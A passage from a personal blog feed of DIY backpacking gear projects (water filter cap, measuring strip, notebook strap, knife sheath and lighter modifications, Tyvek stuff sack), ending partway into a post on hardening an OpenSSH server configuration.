Cap by Pig Monkey, on Flickr"><img src="http://farm5.static.flickr.com/4136/4790268567_8a73e40bd3.jpg" width="500" height="375" alt="DIY Platypus Pre-Filter Cap" /></a></p> <p>A <a href="http://www.ron-vik.com/filters.aspx">filter washer</a> is a rubber washer with a mesh screen in the middle. Apparently they&rsquo;re used in garden hoses and washing machines to remove sediment. I was able to find them easily in the plumbing section of a local hardware store.</p> <p>I took an old Platypus cap and drilled out the center of it. Then, with a little Gorilla Glue, glued the filter washer onto the cap. That&rsquo;s all there is to it! The new pre-filter cap weighs 2 grams (0.07 oz) and shouldn&rsquo;t cost much more than $1 to make.</p> <ul class="thumbs"> <li><a href="http://www.flickr.com/photos/pigmonkey/4790264139/" title="DIY Platypus Pre-Filter Cap by Pig Monkey, on Flickr"><img src="http://farm5.static.flickr.com/4123/4790264139_4051511b46_m.jpg" width="240" height="180" alt="DIY Platypus Pre-Filter Cap" /></a></li> <li><a href="http://www.flickr.com/photos/pigmonkey/4790899198/" title="DIY Platypus Pre-Filter Cap by Pig Monkey, on Flickr"><img src="http://farm5.static.flickr.com/4120/4790899198_9c97a88aca_m.jpg" width="240" height="180" alt="DIY Platypus Pre-Filter Cap" /></a></li> </ul> <p>The downside to the pre-filter cap is that it does noticeably decrease the flow rate of the water. To fill the Platypus, I use a scoop made out of an older Platypus bottle with the top cut off. Without the pre-filter cap, it takes all of 30 seconds to fill the Platypus bottle. With the pre-filter cap, it takes something more like 2 minutes to fill up the bottle. I have to pour the water out of the scoop much more slowly. Because of this I&rsquo;ll sometimes forgo using the pre-filter cap if the water looks very clean, but the majority of the time I do use the cap. It&rsquo;s become a permanent addition to my pack.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/4790270607/" title="DIY Platypus Pre-Filter Cap by Pig Monkey, on Flickr"><img src="http://farm5.static.flickr.com/4135/4790270607_7428bf911f.jpg" width="500" height="375" alt="DIY Platypus Pre-Filter Cap" /></a></p>DIY Water Measuring Doohickey2010-05-22T00:00:00-07:002012-11-10T00:00:00-08:00Pig Monkeytag:pig-monkey.com,2010-05-22:/2010/05/diy-water-measuring-doohickey/<p>When I purchased my <a href="http://pig-monkey.com/2009/01/18/trail-designs-ti-tri-titanium-stove-system/">Trail Designs Ti-Tri Titanium Stove System</a>, I bought it with a 900mL pot from <a href="http://www.titaniumgoat.com/">Titanium Goat</a>. I like the pot, but it has one shortcoming: there are no measuring marks on it. I&rsquo;m not comfortable just pouring a little water into a pot and saying …</p><p>When I purchased my <a href="http://pig-monkey.com/2009/01/18/trail-designs-ti-tri-titanium-stove-system/">Trail Designs Ti-Tri Titanium Stove System</a>, I bought it with a 900mL pot from <a href="http://www.titaniumgoat.com/">Titanium Goat</a>. I like the pot, but it has one shortcoming: there are no measuring marks on it. I&rsquo;m not comfortable just pouring a little water into a pot and saying &ldquo;Well, that <em>looks</em> like 2 cups.&rdquo; I prefer a slightly higher level of accuracy.</p> <p>Originally I addressed this by scoring the handle of my spork to mark 1, 2, and 3 cups measured in the pot &ndash; an idea which I think originally came to me from somewhere on the <a href="http://www.backpackinglight.com/">BackpackingLight</a> Forums. This method works ok &ndash; though making the marks deep enough to be visible on the titanium was a bit tough with my knife &ndash; but I&rsquo;ve never felt that it is very accurate. It will tell me if I have roughly 1 cup of water in the pot, but I could really be anywhere between 3/4 of a cup to 1 1/4 cups. That&rsquo;s the difference between nice, fluffy couscous and overly soggy (or dry and undercooked) couscous, you know.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/4630611286/" title="Pot and Spork by Pig Monkey, on Flickr"><img src="http://farm4.static.flickr.com/3380/4630611286_8edfa28fef.jpg" width="500" height="375" alt="Pot and Spork" /></a></p> <p>As a more accurate replacement, I came up with the idea for the Water Measuring Doohicky: a piece of paper with marks on it. Ingenious, isn&rsquo;t it?</p> <p>For the paper, I chose a cut a piece out of a page in one of my <a href="http://www.riteintherain.com/">Rite in the Rain</a> notebooks. Then I put 1/2 cup of water into the pot, set in the paper, noted the water line, took out the paper and marked the water line. This was repeated at 1/2 cup increments up to 3 cups. (The pot holds 4 cups when filled to the rim, so 3 cups is the most I would ever want to cook with.) After I had all the marks determined, I cut an identical piece of paper and put marks at the same levels. Then I tossed the soggy paper and was left with a fresh, dry piece of waterproof paper with the appropriate marks.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/4630613254/" title="Water Measuring Doohickey by Pig Monkey, on Flickr"><img src="http://farm5.static.flickr.com/4064/4630613254_c486c79f6e.jpg" width="500" height="375" alt="Water Measuring Doohickey" /></a></p> <p>As a poor-man&rsquo;s lamination, I wrapped it with clear packing tape. Even though the Rite in the Rain paper is waterproof, it gets a little soggy when submerged and takes a while to dry out. Water doesn&rsquo;t cling to the tape at all. I can give it a shake or two after taking it out of the pot and it is immediately dry. The tape also adds a little stiffness, which helps achieve more accurate measurements.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/4630013187/" title="Water Measuring Doohickey by Pig Monkey, on Flickr"><img src="http://farm5.static.flickr.com/4040/4630013187_799149ee30_m.jpg" width="180" height="240" alt="Water Measuring Doohickey" class="right" /></a></p> <p>I made two of these doohickeys at the same time, but have been using only one since last Fall. It works great. I am somewhat embarrassed it took me almost a year to come up with the idea. Even though I only made marks at 1/2 cup increments, the grid on the paper allows me to easily measure with 1/4 cup accuracy. As opposed to the marks on the spork, this paper is one extra thing to carry, but when placed on my scale it doesn&rsquo;t register. I don&rsquo;t think it weighs me down any.</p> <p>I had done the lamination before I thought of this, but next time around I think I will write common cooking ratios on the back: water to couscous, water to dehydrated brown rice, etc. Usually I write those ratios on the ziploc freezer bags that hold my food, but the bags get replaced and rotated fairly frequently. The Water Measuring Doohickey has proved that it will last for a longer period of time.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/4630616058/" title="Water Measuring Doohickey by Pig Monkey, on Flickr"><img src="http://farm5.static.flickr.com/4021/4630616058_56803713af.jpg" width="500" height="375" alt="Water Measuring Doohickey" /></a></p>DIY Field Notebook Hack2010-05-21T00:00:00-07:002012-11-10T00:00:00-08:00Pig Monkeytag:pig-monkey.com,2010-05-21:/2010/05/diy-field-notebook-hack/<p>Here&rsquo;s an idea I stole from <a href="http://bfelabs.com/2010/04/19/field-notebook-hack/">the excellent BFE Labs</a>: hacking a <a href="http://www.riteintherain.com/">Rite in the Rain</a> notebook to include a retention strap. The original idea at BFE was just a strap to keep the notebook closed and contain loose leafs that were shoved inside, but while making the strap …</p><p>Here&rsquo;s an idea I stole from <a href="http://bfelabs.com/2010/04/19/field-notebook-hack/">the excellent BFE Labs</a>: hacking a <a href="http://www.riteintherain.com/">Rite in the Rain</a> notebook to include a retention strap. The original idea at BFE was just a strap to keep the notebook closed and contain loose leafs that were shoved inside, but while making the strap he accidentally cut the webbing too short. To solve this he sewed on another piece of webbing as an extension and found that the overlap between the two pieces made a good pen holder.</p> <p><a href="http://bfelabs.com/2010/04/19/field-notebook-hack/#comment-74">I thought this was a neat idea</a>, but the tri-glide fastener used in BFE&rsquo;s version seemed a little cumbersome. I knew I would want some sort of quick release buckle. A traditional side release buckle would be too bulky for my tastes, particularly when the notebook is shoved in a pocket. The other thought I had was that using elastic webbing for the pen loop might increase the versatility of the strap, since it could expand to fit different sized tools.</p> <p>I didn&rsquo;t have any 1&rdquo; elastic webbing hanging about, but I did have some spare webbing and an old buckle from a previous project. With those two things along with a knife and my <a href="http://pig-monkey.com/2009/06/07/possibles-pouch/#repair-kit">repair kit</a>, I set out to see what I could do about whipping up some kind of strap.</p> <!--more--> <p><a href="http://www.flickr.com/photos/pigmonkey/4628037450/" title="DIY Field Notebook Hack by Pig Monkey, on Flickr"><img src="http://farm4.static.flickr.com/3307/4628037450_d04bae1aa2.jpg" width="500" height="375" alt="DIY Field Notebook Hack" /></a></p> <p>My initial intention was to create the pen loop the same way as the BFE strap: cut one strap short and sew on an extension piece with a bit of an overlap. But before I got to that part, I had to sew one end of the buckle onto the webbing. In preparing to do this, I realized that I would already be sewing a loop right there. I could just pull a bit more webbing through the buckle to create my overlap, throw in a stitch to hold down the end of the webbing, another stitch closer to the buckle, and between the two I would have the perfect loop for my pen. Simple.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/4628045532/" title="DIY Field Notebook Hack by Pig Monkey, on Flickr"><img src="http://farm5.static.flickr.com/4057/4628045532_fec4e857cf.jpg" width="500" height="375" alt="DIY Field Notebook Hack" /></a></p> <ul class="thumbs"> <li><a href="http://www.flickr.com/photos/pigmonkey/4627440501/" title="DIY Field Notebook Hack by Pig Monkey, on Flickr"><img src="http://farm4.static.flickr.com/3346/4627440501_1f372e34dc_t.jpg" width="100" height="75" alt="DIY Field Notebook Hack" /></a></li> <li><a href="http://www.flickr.com/photos/pigmonkey/4628041922/" title="DIY Field Notebook Hack by Pig Monkey, on Flickr"><img src="http://farm4.static.flickr.com/3307/4628041922_edb9aa4469_t.jpg" width="100" height="75" alt="DIY Field Notebook Hack" /></a></li> </ul> <p>On the back of the notebook I created two slits for the webbing to pass in and out of, just like in the BFE hack (except I used my knife rather than a Dremel tool).</p> <p><a href="http://www.flickr.com/photos/pigmonkey/4627436599/" title="DIY Field Notebook Hack by Pig Monkey, on Flickr"><img src="http://farm5.static.flickr.com/4066/4627436599_8c76366121.jpg" width="500" height="375" alt="DIY Field Notebook Hack" /></a></p> <p>I&rsquo;m happy with how this hack came out and will probably perform it on my other Rite in the Rain notebooks. The whole process takes only a few minutes and does not strain my juvenile sewing skills. My one complaint is with the buckle that I happened to choose. I appreciate the low profile, center-release design, but the male end of it doesn&rsquo;t grip the webbing very well. This means that while it is adjustable, it doesn&rsquo;t hold much tension, and so the buckle doesn&rsquo;t snap open as much as it should when I release it. I&rsquo;m thinking of sewing the webbing down on the male end of the buckle just like I did on the female end. The strap would no longer be adjustable, but I could be guaranteed the proper tension and that the buckle would open with the speed and ease which I desire. This would also present the opportunity for me to create another loop to hold a second tool. Perhaps a pencil or a highlighter to go along with the pen.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/4628048458/" title="DIY Field Notebook Hack by Pig Monkey, on Flickr"><img src="http://farm5.static.flickr.com/4066/4628048458_91eccdd981.jpg" width="500" height="375" alt="DIY Field Notebook Hack" /></a></p>Mora Sheath Modifications2009-12-05T00:00:00-08:002012-09-15T00:00:00-07:00Pig Monkeytag:pig-monkey.com,2009-12-05:/2009/12/mora-sheath-modifications/<p>The greatest disappointment about any <a href="http://en.wikipedia.org/wiki/Mora_knife">Mora knife</a> is the sheath: a flimsy, plastic thing that won&rsquo;t easily fit on a decent sized belt and does not even hold the knife very securely. As they come, I consider them unusable. But a few simple modifications and additions make them quite …</p><p>The greatest disappointment about any <a href="http://en.wikipedia.org/wiki/Mora_knife">Mora knife</a> is the sheath: a flimsy, plastic thing that won&rsquo;t easily fit on a decent sized belt and does not even hold the knife very securely. As they come, I consider them unusable. But a few simple modifications and additions make them quite acceptable.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/4160847927/" title="Mora Sheath Modifications by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2525/4160847927_743f431323.jpg" width="500" height="375" alt="Mora Sheath Modifications" /></a></p> <p>The Mora knife sheaths are designed to be mounted either on a button on a pair of coveralls or through a belt. Apparently people wear very small, skinny belts in Sweden. Over here in the United States of Gun Belts, that doesn&rsquo;t fly. The belt slot on the sheath can be forcefully enlarged by shoving in a piece of wood, such as a ruler, and applying heat to cause the plastic to expand, but I don&rsquo;t trust that such an act will not over weaken the plastic. I&rsquo;m not a big fan of carrying a Mora directly on my belt, anyway. Usually, I&rsquo;ll carry the knife either on a lanyard around my neck or as a dangler off my belt. But both of these setups allow the possibility of the knife and sheath to swing freely, accentuating the problem of an insecure fit.</p> <!--more--> <p>Both the problem of how to carry the sheath and the problem of the insecure fit can be addressed with a single piece of paracord.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/4161626834/" title="Paracord Loop by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2570/4161626834_6de94cc4de.jpg" width="500" height="375" alt="Paracord Loop" /></a></p> <p>With the knife in the sheath, I take a piece of paracord and run both ends around the handle and through the slot for the belt. Then, tight against the back of the sheath, I tie an overhand knot in either end of the cord. This creates a loop of paracord on the front of the sheath that can be made smaller, but cannot become any wider than the bottom third of the handle. Because the handles on Mora knifes are somewhat tapered &ndash; fatter in the middle than on either end &ndash; this loop prevents the knife from being removed from the sheath. Even if the knife is only lightly dropped into the sheath rather than securely pressed, it cannot be removed without first sliding off the loop of paracord.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/4161614998/" title="Paracord Loop by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2717/4161614998_de7d95d140.jpg" width="500" height="375" alt="Paracord Loop" /></a></p> <p>After tying the two knots against the back of the sheath in either end of the paracord, I take both ends and tie them together, forming a loop on the back of the sheath. This provides my carry options.</p> <p>If I want to wear the knife around my neck, I take a pre-tied loop of paracord that I carry and <a href="http://www.flickr.com/photos/pigmonkey/4160873405/in/set-72157622943203190/">loop it through itself around the loop on the sheath</a>.</p> <p>To carry the knife in a dangler system, I prefer to use a <a href="http://www.maxpedition.com/store/pc/viewPrd.asp?idproduct=203&idcategory=0">Maxpedition Keyper</a> rather than a carabiner. The Keyper is mounted on my belt and <a href="http://www.flickr.com/photos/pigmonkey/4161633582/in/set-72157622943203190/">clipped into the loop of paracord on the sheath</a>. (To reduce movement in this setup, I&rsquo;ll stick the knife and sheath in my pocket.)</p> <p><a href="http://www.flickr.com/photos/pigmonkey/4160888175/" title="Mora Sheath Modifications by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2686/4160888175_d6023c6cf5.jpg" width="500" height="375" alt="Mora Sheath Modifications" /></a></p> <p>The last thing that I do to this part of the sheath is add a small wrap of electrical tape around the very top, covering the upper bit of the belt loop and the button hole. This prevents the paracord from sliding to the top of the sheath and forces the securing loop to be about .75&rdquo; from the very end of the handle. I&rsquo;ve found that if this is not done, the securing loop is like to slip off the handle.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/4161623052/" title="Taped Sheath by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2520/4161623052_abee8bea47.jpg" width="500" height="375" alt="Taped Sheath" /></a></p> <p>That&rsquo;s all that is needed to make the sheath usable, but a few other additions can be made to increase its utility.</p> <p>Around the top of the sheath, I wrap tape. In the sheaths pictured here, one has 2&rdquo; olive drab duct tape, the other has 1&rdquo; black <a href="http://www.gorillaglue.com/tapes.aspx">Gorilla Tape</a> (which is like duct tape, but thicker and stickier). One can never carry enough tape. I imagine, also, that the tape likely increases the structural integrity of the sheath.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/4160890293/" title="Repair Needle by Pig Monkey, on Flickr"><img class="thumb right" src="http://farm3.static.flickr.com/2742/4160890293_7e57e39f67_m.jpg" width="240" height="180" alt="Repair Needle" /></a></p> <p>On the back of both sheaths, I have a #17 sailmaking needle, pre-threaded with black kevlar thread, taped down with some electrical tape. As I mentioned in <a href="http://pig-monkey.com/2009/12/01/rat-izula-neck-knife/">my review of the RAT Izula</a>, this is an idea I first picked up from one <a href="http://www.youtube.com/profile?user=wildernessoutfitters">Dave Canterbury&rsquo;s videos</a>. The extra needle and thread adds no noticeable weight and could be a welcome addition to the sheath if you ever find yourself separated from your pack, with the knife and sheath as your only piece of gear.</p> <p>The next modification on the body of the sheath was also inspired by Dave Cantebury. In another of his videos, he showed how he had layered different width pieces of inner-tube on a machete sheath to create pockets that could store small items, such as a sharpening stone and magnesium fire starter. With that in mind, I add a wide piece of inner-tube onto the middle of the Mora sheath (which also serves to cover and further secure the taped down needle). Then, on top of that, I put a skinnier piece of inner-tube. Slid between both pieces is a backup ferro rod. Because the rod has rubber below it and rubber atop, there is an incredible amount of friction. The ferro rod becomes difficult to remove. I have carried blank rods in these &ldquo;pockets&rdquo; and they have never fallen out. Still, I prefer to carry rods with a lanyard of some sort on them. I loop the rod through its lanyard around the paracord loop on the top of the sheath, guaranteeing that the rod is secured.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/4161608200/" title="Mora Sheath Modifications by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2565/4161608200_052433fa15.jpg" width="500" height="375" alt="Mora Sheath Modifications" /></a></p> <p>The sheath for my KJ #1 knife has only a ferro rod. That knife is carbon steel and can generate sparks off the spine. On the sheath for the larger SL-2, however, I have added a small striker slid between the two pieces of inner-tube on the back. The SL-2 is made of laminated steel, <a href="http://pig-monkey.com/2009/11/29/rubberized-mora-handle/#comment-41473">which is too soft to reliably produce sparks</a>.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/4160863263/" title="Firesteel and Striker by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2507/4160863263_2855e6afd8.jpg" width="500" height="375" alt="Firesteel and Striker" /></a></p> <p>These modifications made to the Mora sheath help to secure the knife, allow for different carry options, guarantee a source of fire, and provide a needle, thread and tape for repairs. They turn what is otherwise a near useless sheath into a functional item worthy of being matched with the Mora blade.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/4160881759/" title="Mora Blades by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2583/4160881759_412ff63f0f.jpg" width="500" height="375" alt="Mora Blades" /></a></p> <p>(I also own a high-quality leather sheath made by <a href="http://www.jreindustries.com/">JRE Industries</a> for the KJ #1 knife. I tie a loop of paracord through the top loop of leather on the sheath so that the knife may be carried around the neck or on a dangler, similar to the modified plastic sheath. The leather sheath does not require a loop of paracord on the front to secure the handle. Nor does it need pieces of inner-tube to create a pocket for a ferro rod. The only thing that it lacks is a repair needle, but I have found that most tape does not adhere very well to leather, so I cannot stick one on the back.)</p> <ul class="thumbs"> <li><a href="http://www.flickr.com/photos/pigmonkey/4160894851/" title="JRE Industries Mora Sheath by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2526/4160894851_51f8ec27fe_m.jpg" width="240" height="180" alt="JRE Industries Mora Sheath" /></a></li> <li><a href="http://www.flickr.com/photos/pigmonkey/4160897049/" title="Neck Lanyard on JRE Industries Mora Sheath by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2530/4160897049_89985cc8ee_m.jpg" width="240" height="180" alt="Neck Lanyard on JRE Industries Mora Sheath" /></a></li> </ul>Rubberized Mora Handle2009-11-29T00:00:00-08:002012-09-15T00:00:00-07:00Pig Monkeytag:pig-monkey.com,2009-11-29:/2009/11/rubberized-mora-handle/<p>If an inner-tube can be used to <a href="http://pig-monkey.com/2009/11/28/rubberized-bic-lighter/">rubberize a BIC lighter</a>, why not a knife?</p> <p><a href="http://www.flickr.com/photos/pigmonkey/4143693999/" title="Rubberized Mora Handle by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2567/4143693999_3a9676c7ac.jpg" width="500" height="375" alt="Rubberized Mora Handle" /></a></p> <p>One of the pesky traits of the wooden handled Mora knives is their lack of grip when wet. One could acquire a Mora with a rubber handle, but, let&rsquo;s face it: those are ugly …</p><p>If an inner-tube can be used to <a href="http://pig-monkey.com/2009/11/28/rubberized-bic-lighter/">rubberize a BIC lighter</a>, why not a knife?</p> <p><a href="http://www.flickr.com/photos/pigmonkey/4143693999/" title="Rubberized Mora Handle by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2567/4143693999_3a9676c7ac.jpg" width="500" height="375" alt="Rubberized Mora Handle" /></a></p> <p>One of the pesky traits of the wooden handled Mora knives is their lack of grip when wet. One could acquire a Mora with a rubber handle, but, let&rsquo;s face it: those are ugly. Instead, I cut a piece of 700x35 bicycle inner-tube about an inch wide and slide this just less than halfway on to the handle. The grip is immediately improved. If you were so inclined, you cut a piece the length of the handle and cover the whole thing, but so far it seems that this small piece is enough.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/4143689723/" title="Rubberized Mora Handle by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2576/4143689723_03a81c1d24.jpg" width="375" height="500" alt="Rubberized Mora Handle" /></a></p> <p>As with the rubberized BIC, this also provides another way to carry tinder that will work even when wet (though it will require a lighter or candle to start).</p>Rubberized BIC Lighter2009-11-28T00:00:00-08:002012-09-15T00:00:00-07:00Pig Monkeytag:pig-monkey.com,2009-11-28:/2009/11/rubberized-bic-lighter/<p>Here&rsquo;s a neat trick I picked up from <a href="http://www.youtube.com/watch?v=6hQM8ahtMcY">Dusty&rsquo;s YouTube video</a>. In the video, he shows how to use a couple of old bicycle inner-tubes to make a semi-waterproof pouch for a BIC lighter. That didn&rsquo;t appeal to me too much: I always carry a BIC in …</p><p>Here&rsquo;s a neat trick I picked up from <a href="http://www.youtube.com/watch?v=6hQM8ahtMcY">Dusty&rsquo;s YouTube video</a>. In the video, he shows how to use a couple of old bicycle inner-tubes to make a semi-waterproof pouch for a BIC lighter. That didn&rsquo;t appeal to me too much: I always carry a BIC in my pocket and his idea added to much bulk for my liking. But, at the end of the video, he cut a smaller piece of inner-tube to make a sort of sheath for the lighter.</p> <p>I thought that was a great idea. It gives you a nice, rubberized grip for the BIC and provides a simple way of always carrying waterproof tinder.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/4141947730/" title="Rubberized BIC Lighter by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2485/4141947730_2106af8c48.jpg" width="375" height="500" alt="Rubberized BIC Lighter" /></a></p> <p>I&rsquo;ve now cut off pieces from a 700x35 bicycle inner-tube and made this modification to all my lighters.</p>DIY Tyvek Stuff Sack2009-06-22T00:00:00-07:002012-09-15T00:00:00-07:00Pig Monkeytag:pig-monkey.com,2009-06-22:/2009/06/diy-tyvek-stuff-sack/<p class="added">(A new version of this tutorial has <a href="http://www.itstactical.com/gear/diy-tyvek-stuff-sacks/">appeared on ITS Tactical</a>, detailing my updated construction method. The following is outdated, but left for posterity.)</p> <p><a href="http://en.wikipedia.org/wiki/Tyvek">Tyvek</a> is a synthetic material made by DuPont, most regularly used at construction sites for wrapping house frames. It is a rather strong material and fairly …</p><p class="added">(A new version of this tutorial has <a href="http://www.itstactical.com/gear/diy-tyvek-stuff-sacks/">appeared on ITS Tactical</a>, detailing my updated construction method. The following is outdated, but left for posterity.)</p> <p><a href="http://en.wikipedia.org/wiki/Tyvek">Tyvek</a> is a synthetic material made by DuPont, most regularly used at construction sites for wrapping house frames. It is a rather strong material and fairly waterproof. It is so ubiqitous in industrial usage as to be freely available to the intrepid individual. Partly because of this, Tyvek is popular among many lightweight travelers for use as a cheap, lightweight, and effective groundcloth for a tarp shelter.</p> <p>The United States Postal Service&rsquo;s Priority Mail envelopes are also made out of the material. A few months ago I saw a picture of one of these envelopes in use as a stuff sack. I thought it was a great idea and decided to make my own. I&rsquo;ve since made two of them. It&rsquo;s a very simple process.</p> <!--more--> <p><a href="http://www.flickr.com/photos/pigmonkey/3652264681/" title="The Supplies by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2432/3652264681_7cb27d13ef.jpg" width="500" height="375" alt="The Supplies" /></a></p> <p>You need only a few items for the project: a USPS Priority Mail envelope, a needle and thread (from the repair kit in your <a href="http://pig-monkey.com/2009/06/07/possibles-pouch/">trusty possibles pouch</a>, no doubt), a bit of cord, a cordlock, and a sharp object. You could make the needed cuts with a knife, but scissors are a bit easier. I use the pair on my Leatherman Juice S2, which has replaced the Charge ALX as my daily carry.</p> <p>The envelope can be new or used. Any post office will have new envelopes available in the lobby, free for the taking. Still, I would feel a little guilty about taking a brand new envelope just for this purpose. There&rsquo;s plenty enough used envelopes floating around, and it seems a waste to steal a brand new one. I lucked out in that recently someone sent me a package in a box, but, within the box, used the pictured envelope to organize the goods. So the envelope is used, but brand new.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/3653071086/" title="Federal Offense by Pig Monkey, on Flickr"><img src="http://farm4.static.flickr.com/3615/3653071086_125dddb6b8.jpg" width="500" height="375" alt="Federal Offense" /></a></p> <p>This project also warrants a disclaimer: Priority Mail envelopes, whether new or used, are <em>property of the United States Postal Service</em>. They are intended solely for the use of the postal system and, contrary to logic, just because somebody paid to mail you a package in one doesn&rsquo;t make it yours (or theirs). So repurposing the envelope in this way is probably a federal offense. Law abiding citizens should immediately navigate away from this page and return to their cells. The rest of us can move on.</p> <p>The first step in the process is to <a href="http://www.flickr.com/photos/pigmonkey/3653062264/in/set-72157620193065231/">cut a little square in one corner of the open end of the envelope</a>. No need to measure. Just eyeball whatever looks good. The height of the square will determine the size of the channel which we will sew and then pass the cord through (this one happened to be about 1.5mm).</p> <p><a href="http://www.flickr.com/photos/pigmonkey/3652266641/" title="The Corner by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2483/3652266641_ecb5867995.jpg" width="500" height="375" alt="The Corner" /></a></p> <p>If you are using a brand new envelope, you&rsquo;ll want to cut the top bit with the sticky stuff off, so that both sides of the envelope are the same height. On a used envelope, you might have to do some trimming to achieve the same thing, depending on how you opened the envelope.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/3652268055/" title="The Fold by Pig Monkey, on Flickr"><img src="http://farm3.static.flickr.com/2470/3652268055_f272d12041.jpg" width="375" height="500" alt="The Fold" /></a></p> <p>After the square is cut, fold down the rim of the envelope all the way around, using the height of the square to determine how much is folded. If you want, you can cut a slit in the other corner of the envelope to help fold it down. I did this on the first stuff sack. For this one, I chose not to. There&rsquo;s a slight bit of bunching in that corner as a result, but it&rsquo;s fine.</p> <p>Now that you have the top flap folded down all along the top of the envelope, sew it shut. This creates a channel which we may then thread a bit of cord through, using it to cinch the sack shut.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/3653065960/" title="The First Stitch by Pig Monkey, on Flickr"><img src="http://farm4.static.flickr.com/3373/3653065960_d768a18e18.jpg" width="500" height="375" alt="The First Stitch" /></a></p> <p>I start my stitching on the inside of the envelope, poke the needle through, and pull all the thread through except for a tag of about 3&rdquo;. Then I poke the needle back through in another hole, pull all the thread through back to the inside, and use the tag end of the thread to tie a square knot, thus securing my first stitch.</p> <p>After that, <a href="http://www.flickr.com/photos/pigmonkey/3652270255/in/set-72157620193065231/">stitch your way around</a> till the channel is sewn shut and <a href="http://www.flickr.com/photos/pigmonkey/3652271297/in/set-72157620193065231/">tie off the end of the thread in whatever way you see fit</a>. I&rsquo;m a pretty poor sewer and am physically and mentally challenged when it comes to knots, which always makes for an interesting end to my stitches.</p> <p><a href="http://www.flickr.com/photos/pigmonkey/3653069638/" title="The Finished Stitching by Pig Monkey, on Flickr"><img src="http://farm4.static.flickr.com/3643/3653069638_11235e18a2.jpg" width="500" height="375" alt="The Finished Stitching" /></a></p> <p>With the sewing done, now would be a good time for the camera battery to die. Curse a little, perhaps shed a tear, then decide that your audience is intelligent enough to struggle through the next steps without pictures.</p> <p>For this stuff sack, I used ALSE survival vest cord, also known as accessory cord or <a href="http://en.wikipedia.org/wiki/Parachute_cord#Types">Type I paracord</a>. This stuff has a breaking strength of 100 lbs, is 1/16 of an inch in diameter, and tips the scale at 1oz per 50 feet. Pick it up at <a href="http://www.supplycaptain.com/index.cfm?fuseaction=product.display&product_ID=74&ParentCat=21">Supply Captain</a>. You could use any cord you happen to have, including the standard (Type III) 550 paracord, but I don&rsquo;t think the cord on this little stuff sack needs to have a breaking strength of 550lbs and Type III paracord is much, much heaver than Type I. We&rsquo;re trying to go lightweight here.</p> <p>If you don&rsquo;t have any cordlocks lying around, these can also <a href="http://www.supplycaptain.com/index.cfm?fuseaction=product.display&product_ID=18">be got from the Captain</a>.</p> <p>Threading the cord through the channel can require a little perseverance. I usually tie a knot in one end, stick it in, and then use the knot to push the cord along with my fingers from the outside. If need be, you can shove a skinny stick or something in there to help it along.</p> <p>When the cord comes out the other side, all that&rsquo;s left is to cut it to length, slide the cordlock over both ends, tie some sort of knot so that the cordlock can&rsquo;t be inadvertently slide off the cord, and you&rsquo;re done!</p> <p>The resulting stuff sack is durable, lightweight, and free (or close to it, depending on what materials you have in your craft box). Though you&rsquo;re obviously not going to get a water-tight seal by cinching the sack closed, the Tyvek material itself is waterproof and will suffice to keep your gear organized and dry in any pack. If water crossings and momentary submersion is a concern, use a trash bag as a liner in your pack and you will be very well off for almost no cost in weight or money.</p> <p>Lighter, stronger, more waterproof, and better constructed stuff sacks can of course be purchased, but for an exponentially higher price. I have nice stuff sacks for my sleeping bag and spare clothes, so, for the time being, this Tyvek stuff sack is used for my food.</p> <h2>March 2010 Update:</h2> <p>Check out the <a href="http://www.itstactical.com/gear/diy-tyvek-stuff-sacks/">new version of this tutorial on ITS Tactical</a>.</p>Thoughts on SSH Security2008-10-03T00:00:00-07:002012-12-22T00:00:00-08:00Pig Monkeytag:pig-monkey.com,2008-10-03:/2008/10/thoughts-on-ssh-security/<p><a href="http://www.openssh.com/">OpenSSH</a> has a history of security. Only rarely are holes found in the actual program. It&rsquo;s much more likely that a system will be compromised through poor configuration of the SSH daemon. Ideally, an SSH config would allow only protocol 2 connections, allow only specified users to connect (and …</p><p><a href="http://www.openssh.com/">OpenSSH</a> has a history of security. Only rarely are holes found in the actual program. It&rsquo;s much more likely that a system will be compromised through poor configuration of the SSH daemon. Ideally, an SSH config would allow only protocol 2 connections, allow only specified users to connect (and certainly not root), disable X11 forwarding, disable password authentication (forcing ssh keys instead), and allowing connections only from specified IPs. These config options would look like this:</p> <div class="highlight"><pre><span></span><code>Protocol 2 PermitRootLogin no AllowUsers demo X11Forwarding no PasswordAuthentication no </code></pre></div> <p>Allowing connections from only specified IP addresses would be accomplished by adding something like the following to <code>/etc/hosts.deny</code>:</p> <div class="highlight"><pre><span></span><code><span class="n">sshd</span><span class="o">:</span><span class="w"> </span><span class="n">ALL</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="n">Deny</span><span class="w"> </span><span class="n">all</span><span class="w"> </span><span class="n">by</span><span 